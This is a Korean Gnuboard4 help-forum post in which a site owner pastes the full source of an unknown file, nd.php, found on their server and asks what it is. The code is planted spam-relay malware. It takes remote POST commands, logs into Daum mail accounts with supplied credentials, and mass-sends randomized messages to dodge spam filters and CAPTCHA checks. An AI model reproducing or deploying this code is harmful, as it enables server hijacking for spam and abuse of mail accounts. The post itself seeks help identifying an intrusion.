FTP 에 모르는 파일이 있는데 고수님들 확인 부탁 드립니다. > 그누4 질문답변

그누4 질문답변

그누보드4 관련 질문은 QA 로 이전됩니다. QA 그누보드4 바로가기
기존 게시물은 열람만 가능합니다.

FTP 에 모르는 파일이 있는데 고수님들 확인 부탁 드립니다. 정보

FTP 에 모르는 파일이 있는데 고수님들 확인 부탁 드립니다.

본문

그누 루트에 nd.php 라고 해서 모르는 파일이 있습니다
무서워서 실행은 안시켜 봤어요


<?php

$ms = array("server"=>"","uid"=>"","upw"=>"","mto"=>"","subject"=>"","body"=>"","from"=>"","buffer"=>"","attach_title"=>"","attach_data"=>"","attr_si"=>"","cookie"=>"","nurl"=>"");
$daumCookie = array("SLOGIN"=>"1","ADF"=>"","ACODE"=>"","HM_CU"=>"","TS"=>"","HTS"=>"","HIP"=>"","PMHIP"=>"","PROF"=>"","PMPROF"=>"","WM"=>"","Apache"=>"","NSID"=>"");

if(strlen($_POST["cmd"]) > 1) {
	if($_POST["cmd"] == "step1") {

		$ms["uid"] = $_POST["uid"];
		$ms["upw"] = $_POST["upw"];
		
		$ms["mto"] = $_POST["mto"];
		

		$ms["subject"] = $_POST["subject"];
		$ms["body"] = $_POST["body"];
		$ms["from"] = $_POST["from"];
		$ms["attach_title"] = $_POST["attach_title"];
		$ms["attach_data"] = $_POST["attach_data"];
		$ms["attr_si"] = $_POST["attr_si"];
		$ms["cookie"] = $_POST["cookie"];
		$ms["nurl"] = $_POST["nurl"];
		$ms["bcc"] = $_POST["bcc"];
       //echo($ms["uid"]);
		//echo($ms["upw"]);

		$dummy = uniqid(time()).rand(100,999);
		$location = "http://login.daum.net/Mail-bin/login.cgi?dummy=".$dummy;
		$url = "http%3A%2F%2Fmail.daum.net%2Fhanmail%2Fmail%2FMailCompose.daum";
		$postdata = "url=".$url."&webmsg=-1&id=".$ms["uid"]."&pw=".$ms["upw"]."&x=".rand(1,9)."&y=".rand(1,9);
		$refer = "http://mail.daum.net/hanmail/login/Login.daum?returl=/hanmail/Index.daum";

		$buffer = http($location,"post","",$postdata,$refer);
		$cookie = get_cookie($buffer,"on");

		if (!strpos($buffer,"X-DaumLogin-Error: 200 OK")) {
			//echo($buffer);
			exit("Status: 201(로그인실패)");
		}else {
            echo("로그인성공 ▷▶");
			//exit("로그인성공");
		}


		$location = "http://mail.daum.net/hanmail/mail/MailCompose.daum";
		//$refer = "http://mail.daum.net/hanmail/mail/MailLeft.daum";
		$buffer = http($location,"get",$cookie);
		$cookie = get_cookie($buffer,"on");
        //echo($buffer);
		//exit("버퍼링");
        $CGISERVER = subsearch($buffer,"CGISERVER value=","/>");
     	$LVS = subsearch($buffer,"LVS value="," />");
     	$WEB = subsearch($buffer,"LVS value="," />");
		$PUI = subsearch($buffer,"PUI value="," />");
		$OPENTIME = subsearch($buffer,"OPENTIME value="," />");
		$BIGSERVER = subsearch($buffer,"BIGSERVER value="," />");
		$E = subsearch($buffer,"name=E value="," />");
		$D = subsearch($buffer,"name=D value="," />");
		$P_SIG = subsearch($buffer,"id=P_SIG value="," />");
		$NTAG_FILENAME = subsearch($buffer,"name=NTAG_FILENAME value="," />");
		

    	$uri = subsearch($buffer,"wwl",".daum.net");
		$pid = subsearch($buffer,"<input type=hidden name=PID value="," />");
		//$name_euckr = subsearch($buffer,"onblur=this.style.backgroundColor='#ffffff';>","</textarea>");
		//$name = conv_str($name_euckr);

        // echo("[1]=".$CGISERVER);
        // echo("[1]=".$LVS);
         //echo("[1]=".$WEB);
         //echo("[1]=".$PUI);
         //echo("[1]=".$OPENTIME);
         //echo("[1]=".$BIGSERVER);
         //echo("[1]=".$E);
         //echo("[1]=".$D);
         //echo("[1]=".$P_SIG);
         //echo("[1]=".$NTAG_FILENAME);
 		 //echo("[1]=".$uri);
		 //echo("[1]=".$pid);
	
		// exit("파싱성공");

		if( strlen($ms["attach_title"])>0 && strlen($ms["attach_data"])>0 )
		{
			$AttachActionURL = subsearch($buffer,"enctype=multipart/form-data method=post action="," style=");
			$AttachRefer = $location;
			$buffer = DaumWriteAttach($AttachActionURL,$AttachRefer,$ms["attach_title"],$ms["attach_data"],$cookie);
			$cookie = get_cookie($buffer,"on");

			if( strpos($buffer,"cmd=attach&err=SUCCESS")<0 )
			{
				exit("Status: 303");
			}
		}
		$postdata = daum_makestring();		
		$location = "http://wwl".$uri.".daum.net/Mail-bin/start_mailplus2/simplehtml";
		$refer = "http://".$WEB."./hanmail/mail/MailCompose.daum?_top_hm=l_write";

		$buffer = http($location,"post",$cookie,$postdata,$refer);
		$cookie = get_cookie($buffer,"on");

		// 로그아웃
		//$location = "http://login.daum.net/Mail-bin/logout.cgi?logout.x=".rand(1,9)."&logout.y=".rand(1,9);
		//$refer = "http://www.daum.net/";
		//$buffertemp = http($location,"get",$cookie,"",$refer);
		/*
		if ((strpos($buffer,"전송되었습니다") > 0) || (strpos($buffer,"메일 중 일부가 전송에 실패했습니다") > 0)) {
			exit("Status: 300");
		} elseif ((strpos($buffer,"아래 제시한 질문에 대한 답을 입력해 주세요") > 0) || (strpos($buffer,"이미지 단어를 확인하지 못했습니다") > 0)) {
			exit("Status: 301");
		} else {
			exit("Status: 302");
		}
		*/

		if ((strpos($buffer,"전송되었습니다") > 0) || (strpos($buffer,"메일 중 일부가 전송에 실패했습니다") > 0)|| (strpos($buffer,"성공적으로") > 0)) {
					//$RsF = pregmatch($buffer,"메일 중 일부가 전송에 ","했습니다");
		            //if($RsF == "실패") echo ("OK|".$cnt."|FAILED"."-".$id);
			        //exit("(전송성공)".$buffer."Status: 300");
								        exit("(전송성공)");
		} elseif ((strpos($buffer,"아래 제시한 질문에 대한 답을 입력해 주세요") > 0) || (strpos($buffer,"이미지 단어를 확인하지 못했습니다") > 0)) {
			exit("(보안코드)--실패 Status: 301");
		} elseif ((strpos($buffer,"메일전송 실패 이전에 보낸 메일을 발송하는 중입니다") > 0)) {
			exit("(실패전송중)--실패 Status: 302");
		} elseif ((strpos($buffer,"발송량이 많아서 발송이 되지 않았습니다") > 0)) {
			exit("(발송량초과)--실패 Status: 304");
		} elseif ((strpos($buffer,"이전에 보낸 메일을 발송하는 중입니다") > 0)) {
	    exit("(이전에 보낸 메일을 발송하는 중)--실패 Status: 305");
		} elseif ((strpos($buffer,"메일 전송이 실패했습니다.") > 0)) {
			exit("(전송실패)--실패 Status: 306");
		} else {
			exit("(전송실패)--실패 Status: ext");
		}
		exit;
		
	} else if($_POST["cmd"] == "step2") {

		$ms["uid"] = $_POST["uid"];
		$ms["upw"] = $_POST["upw"];

		$location = "http://login.daum.net/Mail-bin/login.cgi?url=http%3A%2F%2Fgomail.daum.net%2Fservlet%2FGoto%3Furl%3D%252FMail-bin%252Flogin_f.cgi%253Ferror%253Dlogin&id=".$ms["uid"]."&pw=".$ms["upw"];
		$buffer = http($location,"get");
		$cookie = get_cookie($buffer,"on");
		
		if (strpos($buffer,"X-DaumLogin-Error: 200 OK")) {
			header("Status: 200");
		} else {
			header("Status: 201");
		}
	}

}
//파싱하기폼
function subsearch($str,$start,$end) {
	$str = str_replace(chr(34),"",$str);
	$pos1 = strpos($str,$start);
	
	if ($pos1 > 0) {
		$pos2 = strpos($str,$end,$pos1 + strlen($start));
		return substr($str,$pos1 + strlen($start),$pos2 - ($pos1 + strlen($start)));
	}else {
		return "0";
	}
}

function set_cookie($myArray) {

	$sReturn = "SLOGIN=1; "."ADF=".$myArray["ADF"]."; "."ACODE=".$myArray["ACODE"]."; ";
	$sReturn .= "HM_CU=".$myArray["HM_CU"]."; "."TS=".$myArray["TS"]."; "."HTS=".$myArray["HTS"]."; ";
	$sReturn .= "HIP=".$myArray["HIP"]."; "."NSID=".$myArray["NSID"]."; ";
	$sReturn .= "PMHIP=".$myArray["PMHIP"]."; "."PROF=".$myArray["PROF"]."; ";
	$sReturn .= "WM=".$myArray["WM"]."; "."Apache=".$myArray["Apache"];

	return $sReturn;
}

function DaumWriteAttach($ActionURL, $Refer, $Attach_Title, $Attach_Data,$Cookie)
{
	$boundary = "--------------------------".rand(1,9).	chr(rand(65, 90)).rand(1,9).rand(1,9).rand(1,9).chr(rand(65, 90)).rand(1,9).chr(rand(65, 90)).rand(1,9).rand(1,9).rand(1,9).rand(1,9).rand(1,9).rand(1,9);

	$post = "\r\n--".$boundary."\r\n";
	$post .= "Content-Disposition: form-data; name=\"attach_file\"; filename=\"c:\\".$Attach_Title."\"\r\n";
	$post .= "Content-Type: text/html\r\n";
	$post .= "\r\n";
	$post .= $Attach_Data."\r\n";
	$post .= "--".$boundary."--\r\n";

	$urlServer = subsearch($ActionURL,"//","/");
	$urlPath = str_replace("http://".$urlServer,"",$ActionURL);
	$query = "POST ".$urlPath." HTTP/1.1\r\n";
	$query.= "Accept: */*\r\n";
	if ($ref) $query.="Referer: ".$Refer."\r\n";
	$query.= "Accept-Language: ko\r\n";
	$query.= "Content-Type: multipart/form-data; boundary=".$boundary."\r\n";
	$query.= "User-agent: ".$_SERVER['HTTP_USER_AGENT']."\r\n";
	$query.= "Host: ".$urlServer."\r\n";
	$query.= "Content-Length: ".strlen($post)."\r\n";
	if ($Cookie) $query.= "Cookie: ".$Cookie."\r\n";
	$query.= "Connection: Close\r\n";
	$query.= "\r\n";
	$query.= $post."\r\n";


	$fp = fsockopen($urlServer, "80", $errno, $errstr, 30);
	$buffer = "";
	
	if (!$fp) {
		echo "$errstr ($errno)<br>\n";
	} else {
		fputs ($fp, $query);
		
		while(!feof($fp)) {
			$buffer .= fgets($fp,1024);
		}
		fclose ($fp);
	}
	return $buffer;

}

function http($url,$method,$cookie="",$postdata="",$ref="") {
	
	$urlServer = subsearch($url,"//","/");
	$urlPath = str_replace("http://".$urlServer,"",$url);
	
	if ($method == "get") {
		$query = "GET ".$urlPath." HTTP/1.1\r\n";
		$query.= "Accept: */*\r\n";
		if ($ref) $query.="Referer: ".$ref."\r\n";
		$query.= "Accept-Language: ko\r\n";
		$query.= "User-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727)\r\n";
		$query.= "Host: ".$urlServer."\r\n";
		$query.= "Connection: Keep-Alive\r\n";
		if ($cookie) $query.= "Cookie: ".$cookie."\r\n";
		$query.= "\r\n";
	} else {
		$query = "POST ".$urlPath." HTTP/1.1\r\n";
		$query.= "Accept: */*\r\n";
		if ($ref) $query.="Referer: ".$ref."\r\n";
		$query.= "Accept-Language: ko\r\n";
		$query.= "Content-Type: application/x-www-form-urlencoded\r\n";
		$query.= "User-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727)\r\n";
		$query.= "Host: ".$urlServer."\r\n";
		$query.= "Content-Length: ".strlen($postdata)."\r\n";
		if ($cookie) $query.= "Cookie: ".$cookie."\r\n";
		$query.= "Connection: Keep-Alive\r\n";
		$query.= "\r\n";
		$query.= $postdata."\r\n";
	}

	$fp = fsockopen($urlServer, "80", $errno, $errstr, 30);
	$buffer = "";
	
	if (!$fp) {
		echo "$errstr ($errno)<br>\n";
	} else {
		fputs ($fp, $query);
		
		while(!feof($fp)) {
			$buffer .= fgets($fp,1024);
		}
		fclose ($fp);
	}
	return $buffer;
}

function get_cookie($text,$step) {

	global $daumCookie;
	$arrCookie = explode(chr(10),$text);

	for($i=0,$cnt = count($arrCookie);$i<$cnt;$i++) {
		if (strpos($arrCookie[$i],"et-Cookie: ") > 0) {
			if (strpos($arrCookie[$i],"; ") > 0) {
				$arrCookie[$i] = str_replace("Set-Cookie: ","",$arrCookie[$i]);
				$art = explode("; ",$arrCookie[$i]);
				$artt = explode("=",$art[0]);
				if ($artt[1]) {
					if ($step) {
						$cname = trim($artt[0]);
						$daumCookie[$cname] = trim($artt[1]);
					} else {
						$buffer .= trim($artt[0])."=".trim($artt[1])."; ";
					}
				}
			}
		}
	}
	
	if ($step) {
		return set_cookie($daumCookie);
	} else {
		return $buffer;
	}
}

function daum_makestring() {
    
  global $ms;
  $BaseString = "";
  $BaseString.= "ONLYTOME=0&";
  $BaseString.= "ONLYTOME_MODIFIED=&";
  $BaseString.= "CGISERVER=".$GLOBALS["CGISERVER"]."&";  
  $BaseString.= "SILSAVE=0&";
  $BaseString.= "SENDACTION=send&";
  $BaseString.= "SENDROOT=&";
  $BaseString.= "LVS=".$GLOBALS["LVS"]."&";
  $BaseString.= "WEB=".$GLOBALS["WEB"]."&"; 
  $BaseString.= "RESV_Y=&";
  $BaseString.= "RESV_M=&";
  $BaseString.= "RESV_D=&";
  $BaseString.= "RESV_H=&";
  $BaseString.= "ISLINEANS=0&";
  $BaseString.= "PID=".urlencode($GLOBALS["pid"])."&";
  $BaseString.= "MSGID=&";
  $BaseString.= "FOLDER=&";
  $BaseString.= "mpage=1&"; // $BaseString.= "mpage=&";
  $BaseString.= "LINKURL=&";
  $BaseString.= "LINKCOMMENT=&";
  $BaseString.= "KEYWORD=&";
  $BaseString.= "KEYTYPE=&";
  $BaseString.= "PUI=".urlencode($GLOBALS["PUI"])."&";
  $BaseString.= "BODY=".urlencode($ms["body"])."&";
  $BaseString.= "CMD=0&";
  $BaseString.= "CMDMSGID=&";
  $BaseString.= "USEBIG=&";
  $BaseString.= "OPENTIME=".urlencode($GLOBALS["OPENTIME"])."&";
  $BaseString.= "BIGSERVER=".$GLOBALS["BIGSERVER"]."&";
  $BaseString.= "PP_TOPHEIGHT=0&";
  $BaseString.= "PP_TOPBG=&";
  $BaseString.= "PP_MIDPOS=&";
  $BaseString.= "PP_MIDREPEAT=&";
  $BaseString.= "PP_MIDBG=none&";
  $BaseString.= "PP_BOTTOMHEIGHT=0&";
  $BaseString.= "PP_BOTTOMBG=&";
  $BaseString.= "PP_BGC=transparent&"; // $BaseString.= "PP_BGC=&";
  $BaseString.= "PP_CODE=&";
  $BaseString.= "IncludeSign=0&";
  $BaseString.= "SIGN=&";
  $BaseString.= "BLTYPE=&";
  $BaseString.= "FTCOLOR=&";
  $BaseString.= "sig1=&";
  $BaseString.= "sig2=&";
  $BaseString.= "sig3=&";
  $BaseString.= "bltype1=&";
  $BaseString.= "bltype2=&";
  $BaseString.= "bltype3=&";
  $BaseString.= "ftcolor1=&"; // $BaseString.= "ftcolor1=000000&";
  $BaseString.= "ftcolor2=&"; // $BaseString.= "ftcolor2=000000&";
  $BaseString.= "ftcolor3=&"; // $BaseString.= "ftcolor3=000000&";
  $BaseString.= "rnd=&";
  $BaseString.= "presentevent=&";
  $BaseString.= "TYPE=0&"; //   $BaseString.= "TYPE=2&";
  $BaseString.= "What=7&"; //   $BaseString.= "What=0&";
  $BaseString.= "STORE=0&";
  $BaseString.= "D=".urlencode($GLOBALS["d"])."&";
  $BaseString.= "E=".urlencode($GLOBALS["E"])."&";
  $BaseString.= "popup=&";
  $BaseString.= "HTO=&";
  $BaseString.= "TO=".urlencode($ms["mto"])."&";
  $BaseString.= "addr_TO=&";
  $BaseString.= "HCC=&";
  $BaseString.= "CC=&";
  $BaseString.= "addr_CC=&";
  $BaseString.= "HBCC=&";
  $BaseString.= "BCC=".urlencode($ms["bcc"])."&";
  $BaseString.= "addr_BCC=&";
  $BaseString.= "from=".urlencode($ms["from"])."&";
 // if($ms["attr_si"] != NULL)
//	{
		$BaseString.= "attr_si=1&";		// 왕관
//	}
  $BaseString.= "SUBJECT=".urlencode($ms["subject"])."&";
  $BaseString.= "attr_fc=".rand(2,7)."&"; //".rand(2,7)."&";       // 색깔(1:검정, 2:빨강, 3:다홍, 4:녹색, 5:파랑, 6:남색, 7:보라)
//  $BaseString.= "attr_fc=%24cm.getAttrFC%28%29&";       // 색깔(1:검정, 2:빨강, 3:다홍, 4:녹색, 5:파랑, 6:남색, 7:보라)
  $BaseString.= "SUBJECTIMSI=".urlencode($ms["subject"])."&";
  $BaseString.= "TOIMSI=".urlencode($ms["mto"])."&";
  $BaseString.= "CCIMSI=&";
  $BaseString.= "BCCIMSI=&";
  $BaseString.= "BODYIMSI=&";  
  $BaseString.= "EACHTO=1&"; // $BaseString.= "EACHTO=0&"; // 각자보내기
  $BaseString.= "is_myself=&";
  $BaseString.= "userid=".urlencode($ms["uid"])."&";
  $BaseString.= "EVENT=&";  
//  $BaseString.= "editorSelect=H&";    
//  $BaseString.= "articleS=&";
//  $BaseString.= "articleT=&";
  $BaseString.= "choiceSkin=point&";
  $BaseString.= "SONGNAME=&";
  $BaseString.= "SINGER=&";
  $BaseString.= "SONGURL=&";
  $BaseString.= "BUY=&";
  $BaseString.= "SEQ=&";
  $BaseString.= "SIGBODY=&";
  $BaseString.= "P_SIG=".urlencode($GLOBALS["P_SIG"])."&";
  $BaseString.= "PSIG=&";
  $BaseString.= "SIGNATURE=0&";
  $BaseString.= "AVATAR=&";
  $BaseString.= "NAMETAG=NO&"; // $BaseString.= "NAMETAG=NO&";
  $BaseString.= "NTAG_FILENAME=".urlencode($GLOBALS["NTAG_FILENAME"])."&";
  $BaseString.= "NTAG=0&"; // $BaseString.= "NTAG=0&";
  $BaseString.= "CAMPAIGN=0+&"; // $BaseString.= "CAMPAIGN=0&";
  $BaseString.= "EVENT=&"; //   $BaseString.= "EVENT=0&";
  $BaseString.= "eventId=254&"; //  $BaseString.= "eventId=150&";
  $BaseString.= "eventName=%C6%ED%C1%F6%C1%F6108%C1%BE%B0%B3%C6%ED%C7%C1%B7%CE%B8%F0%BC%C7&"; //   $BaseString.= "eventName=%B9%C2%C1%F6%C4%C3+%BD%C3%C4%AB%B0%ED&";
  $BaseString.= "winPageUrl=null&";//  $BaseString.= "winPageUrl=http%3A%2F%2Fmimg.daum-img.net%2Fcast%2Fculturehall%2Fchicago_list.jpg&";
  $BaseString.= "sendResultUrl=http%3A%2F%2Fimage.daum-img.net%2Fhanmail%2Ftitle5%2Ft_daum.gif&";
  $BaseString.= "sendResultLink=http%3A%2F%2Fwww.daum.net&";
  $BaseString.= "groupname=&";
  $BaseString.= "NEWSKIN=101";
  

	//	echo($BaseString);
	
	//	exit("스트링");

  
	$SUBJECT = $ms["subject"];
	$SUBJECT = str_replace("[r1]", my_rnd(1),$SUBJECT);
	$SUBJECT = str_replace("[r2]", my_rnd(2),$SUBJECT);
	$SUBJECT = str_replace("[r3]", my_rnd(3),$SUBJECT);
	$SUBJECT = str_replace("[r4]", my_rnd(4),$SUBJECT);
	$SUBJECT = str_replace("[r5]", my_rnd(5),$SUBJECT);
	$SUBJECT = str_replace("[r6]", my_rnd(6),$SUBJECT);
	$SUBJECT = str_replace("[r7]", my_rnd(7),$SUBJECT);
  
  $BODY = $ms["body"];
  $BODY = str_replace("[ws0]", rand(61,703),$BODY);  // 플래쉬폼사이즈랜덤
  $BODY = str_replace("[wh0]", rand(83,304),$BODY);  // 플래쉬폼사이즈랜덤
  $BODY = str_replace("[ws1]", rand(82,803),$BODY);  // 플래쉬폼사이즈랜덤
  $BODY = str_replace("[wh1]", rand(230,707),$BODY); // 플래쉬폼사이즈랜덤

  $BODY = str_replace("[rs]", my_rnd(8),$BODY);
  $BODY = str_replace("[r1]", my_rnd(1),$BODY);
  $BODY = str_replace("[r2]", my_rnd(2),$BODY);
  $BODY = str_replace("[r3]", my_rnd(3),$BODY);
  $BODY = str_replace("[r4]", my_rnd(4),$BODY);
  $BODY = str_replace("[r5]", my_rnd(5),$BODY);
  $BODY = str_replace("[r6]", my_rnd(6),$BODY);
  $BODY = str_replace("[r7]", my_rnd(7),$BODY);
  $BODY = str_replace("[TO]", base64_encode($toMail),$BODY);
	
	$SUBJECT = stripslashes($SUBJECT);
	$BODY = stripslashes($BODY);
  
  $BaseString = str_replace("#SUBJECT",urlencode($SUBJECT),$BaseString);
  $BaseString = str_replace("#BODY",urlencode($BODY),$BaseString);
  
  if (!$ms["from"]) {
  	$BaseString = str_replace("#FROM",urlencode($ms["from"]),$BaseString);
  } else {
  	$BaseString = str_replace("#FROM",urlencode($ms["from"]),$BaseString);
  }
  return $BaseString;
}

function my_rnd($code) {

//    '[r1] 예전그대로
//    '[r2] 영어소문자 + 숫자 (3자리)
//    '[r3] 한글 (3-6자리)
//    '[r4] 한글+숫자+영어 (6-10자리)
//    '[r5] 숫자+영어 (2자리)
//    '[r6] 숫자+한글 (2자리)
//    '[r7] 한글+영어 (2자리)

	switch ($code) {
    case 1:
    	$sRND = rnd_string(rand(3, 10));
    	break;
    case 2:
    	$sRND = strtolower(random_process(11, 61)).rand(100,999);
    	break;
    case 3:
      $sRND = GetHangul5(rand(3,6));
      break;
    case 4:
      $sRND = getRandomNameH(rand(6,10));
      break;
    case 5:
      $sRND = rand(1,9).chr(rand(65, 90));
      break;
    case 6:
      $sRND = rand(1,9).GetHangul5(1);
      break;
    case 7:
      $sRND = GetHangul5(1).chr(rand(65, 90));
      break;
    case 8:
    	$sRND = rnd_query_string(rand(3,10));
    	break;
	}
	return $sRND;
}

function rnd_string($num) {
	$sT1 = random_process(11, 61);
	
	for ($i=1; $i<=$num-1; $i++) {
		$sT2 = random_process(0, 61);
		$sT3.= $sT2;
	}
	return $sT1.$sT3;
}

function random_process($min, $max) {
	$filler = rand($min,$max);
	$sChar = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
	return substr($sChar, $filler, 1);
}

function rnd_query_string($num) {
	for ($i=0; $i<$num; $i++) {
		$aString[$i] = rnd_string(rand(4, 8)) ."=".rnd_string(rand(4, 12));
	}
	return implode("&",$aString);
}

function GetHangul5($nCNT=1) {
  $T = "하,늘,과,같,이,푸,르,고,높,은,마,음,들,이,아,름,답,게,모,여,서,꿈,을,이,루,고,인,생,의,길,을,개,척,해,나,간,다,나,가,자,힘,차,게,한,얼,의,형,제,들,아,";
  $T.= "그,는,선,천,성,뇌,종,양,으,로,어,린,시,절,병,마,와,의,싸,움,을,계,속,해,야,했,고,언,제,나,승,리,를,거,두,었,다,고,환,암,을,선,고,받,았,으,나,병,마,와,잘,싸,웠,으,며,년,다,시,뇌,종,양,을,선,고,받,았,으,나,낙,천,적,인,마,음,과,용,기,를,가,지,고,극,복,하,며,현,재,스,콧,해,밀,턴,치,유,사,이,트,를,통,해,암,에,걸,린,사,람,들,을,돕,고,있,다,";
  $T.= "당,신,에,게,는,오,늘,즐,거,운,일,이,생,기,실,것,입,니,다,동,해,물,과,백,두,산,이,마,르,고,닳,도,록,하,느,님,이,보,우,하,사,우,리,나,라,만,세";
  $T.= "스,콧,해,밀,턴,년,사,라,예,보,동,계,올,림,픽,금,메,달,리,스,트,이,자,우,리,에,게,는,김,연,아,선,수,에,게,극,찬,을,아,끼,지,않,았,던,미,국,방,송,의,피,겨,스,케,이,팅,해,설,가,로,잘,알,려,져,있,다,";
  $T.= "그,가,세,상,에,극,복,하,지,못,할,것,이,없,음,을,몸,소,증,명,하,고,있,는,것,은,어,머,니,덕,분,이,다,그,의,어,머,니,도,로,시,해,밀,턴,은,여,러,번,의,유,산,끝,에,스,콧,을,입,양,했,다,어,려,서,부,터,질,병,으,로,목,숨,이,위,태,로,웠,던,그,에,게,그,녀,는,주,문,을,외,듯,넌,할,수,있,다,며,자,신,감,을,심,어,주,었,다";

  $aT = explode(",",$T);
  for ($i=0; $i < $nCNT; $i++) {
  	$sBuf.= $aT[(rand(0, count($aT)-1))];
  }
  return $sBuf;
}

function getRandomNameH($num) {
    $sT1 = random_process(11, 61);
    for ($i=0; $i<$num; $i++) {
    	$bH = rand(10, 20);
    	If ($bH % 2 == 0) {
    		$sT2 = random_process(0, 61);
    	} else {
    		$sT2 = GetHangul5(1);
    	}
    	$sT3.= $sT2;
    }
	return $sT1.$sT3;
}

function conv_str($str) 
{ 
    $dect_str = mb_detect_encoding($str, "UTF-8, EUC-KR"); 
    if($dect_str != "EUC-KR") 
    { 
        $conv_result = iconv("UTF-8", "EUC-KR", $str); 
    } else { 
	return $str;
        //$conv_result = iconv("EUC-KR", "UTF-8", $str); 
    } 
return $conv_result; 
} 

?>
<b>TEST.</b>

댓글 전체

전체 66,558 |RSS
그누4 질문답변 내용 검색

회원로그인

(주)에스아이알소프트 / 대표:홍석명 / (06211) 서울특별시 강남구 역삼동 707-34 한신인터밸리24 서관 1404호 / E-Mail: admin@sir.kr
사업자등록번호: 217-81-36347 / 통신판매업신고번호:2014-서울강남-02098호 / 개인정보보호책임자:김민섭(minsup@sir.kr)
© SIRSOFT